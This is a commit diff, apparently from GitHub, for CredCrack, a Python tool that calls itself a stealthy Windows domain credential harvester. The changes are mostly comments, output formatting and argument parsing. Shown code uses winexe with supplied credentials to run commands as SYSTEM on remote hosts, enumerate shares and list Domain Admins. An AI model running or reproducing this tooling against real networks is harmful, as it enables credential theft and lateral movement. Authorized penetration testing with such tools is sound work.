1
1
#!/usr/bin/python
2
2
3
3
# CredCrack - A fast and stealthy credential harvester
4
- # This script harvests credentials for any given IP(s) without
5
- # ever touching disk. Additionally, it notifies one when
6
- # a domain administrator has been captured. The script is limited to
4
+ # This script harvests credentials for any given IP(s) and
5
+ # notifies one when domain administrator credentials have
6
+ # been captured. The harvester functionality is limited to
7
7
# systems running Windows and Powershell version 2+
8
8
#
9
9
# This program is free software: you can redistribute it and/or modify
23
23
# Email: jb@gojhonny.com
24
24
# Twitter: @g0jhonny
25
25
# Version: 1.0
26
- # Date: 2015-08-11
26
+ # Date: 2015-08-13
27
27
28
28
import subprocess , os , argparse , time , datetime , socket , base64 , threading , Queue , hashlib , binascii , signal , sys , getpass
29
29
from shlex import split
@@ -123,7 +123,7 @@ def enum_shares(q, username, password, domain):
123
123
try :
124
124
while True :
125
125
with lock :
126
- os = ""
126
+ os = ''
127
127
shares , endshares = [], []
128
128
rhost = q .get ()
129
129
@@ -154,9 +154,11 @@ def enum_shares(q, username, password, domain):
154
154
else :
155
155
endshares .append (" {}OPEN \\ \\ {}\\ {}{} " .format (colors .lightgrey , rhost , share , colors .normal ))
156
156
157
- print "\n " + "-" * 65 + "\n " + colors .normal + "{} - {} \n " .format (rhost , os ) + "-" * 65 + "\n "
158
- for share in endshares :
159
- print share
157
+ if endshares :
158
+ print "\n " + "-" * 65 + "\n " + colors .normal + "{} - {} \n " .format (rhost , os ) + "-" * 65 + "\n "
159
+ for share in endshares :
160
+ print share
161
+ else : print "{}[!]{} No shares to list on {}. Ensure the correct password was used." .format (colors .red , colors .normal , rhost )
160
162
q .task_done ()
161
163
162
164
except Exception as e :
@@ -172,7 +174,8 @@ def get_das(rhost, username, password, domain):
172
174
173
175
try :
174
176
print "{}[*]{} Querying domain admin group from {}" .format (colors .blue , colors .normal , rhost .rstrip ())
175
- da_output = subprocess .check_output (split ("winexe --system //{} -U {}/{}%{} 'cmd /c net group \" Domain Admins\" /domain'" .format (rhost , domain , username , password )))
177
+ da_output = subprocess .check_output (split ("winexe --system //{} -U {}/{}%{} 'cmd /c net group \" Domain Admins\" /domain'" .format (rhost , domain , username , password )))
178
+
176
179
for line in da_output .split ('\n ' )[8 :]:
177
180
if "The command completed" in line :
178
181
pass
@@ -181,6 +184,7 @@ def get_das(rhost, username, password, domain):
181
184
if da :
182
185
das .append (da )
183
186
return das
187
+
184
188
except Exception as e :
185
189
print "{}[!]{} Unable to reach to {}" .format (colors .red , colors .normal , rhost )
186
190
return False
@@ -328,8 +332,9 @@ def main():
328
332
required = parser .add_argument_group ("Required" )
329
333
required .add_argument ('-d' , '--domain' , required = True , help = 'Domain or Workstation' )
330
334
required .add_argument ('-u' , '--user' , required = True , help = 'Domain username' )
331
- parser .add_argument ('-f' , '--file' , help = 'File containing IPs to harvest creds from. One IP per line.' )
332
- parser .add_argument ('-r' , '--rhost' , help = 'Remote host IP to harvest creds from.' )
335
+ action = parser .add_mutually_exclusive_group (required = True )
336
+ action .add_argument ('-f' , '--file' , help = 'File containing IPs to harvest creds from. One IP per line.' )
337
+ action .add_argument ('-r' , '--rhost' , help = 'Remote host IP to harvest creds from.' )
333
338
parser .add_argument ('-es' , '--enumshares' , help = 'Examine share access on the remote IP(s)' , action = 'store_true' )
334
339
parser .add_argument ('-l' , '--lhost' , help = 'Local host IP to launch scans from.' )
335
340
parser .add_argument ('-t' , '--threads' , help = 'Number of threads (default: 10)' , default = 10 , type = int )
@@ -356,9 +361,6 @@ def main():
356
361
lines = [ip .strip () for ip in f .readlines () if ip .strip () and validate (ip .strip ())]
357
362
for line in lines :
358
363
q .put (line )
359
- else :
360
- print "{}[!]{} Provide a remote host [-r] or file [-f] to examine share access\n " .format (colors .red , colors .normal )
361
-
362
364
if q .queue :
363
365
for i in range (args .threads ):
364
366
worker = threading .Thread (target = enum_shares , args = (q , args .user , args .passwd , args .domain ))
@@ -388,7 +390,6 @@ def main():
388
390
for good_ip in lines :
389
391
q .put (good_ip )
390
392
break
391
-
392
393
if das :
393
394
for num in range (args .threads ):
394
395
worker = threading .Thread (target = harvest , args = (q , args .user , args .passwd , args .domain , args .lhost ))
@@ -413,4 +414,4 @@ def main():
413
414
clean_up (False , stime )
414
415
415
416
if __name__ == '__main__' :
416
- main ()
417
+ main ()
0 commit comments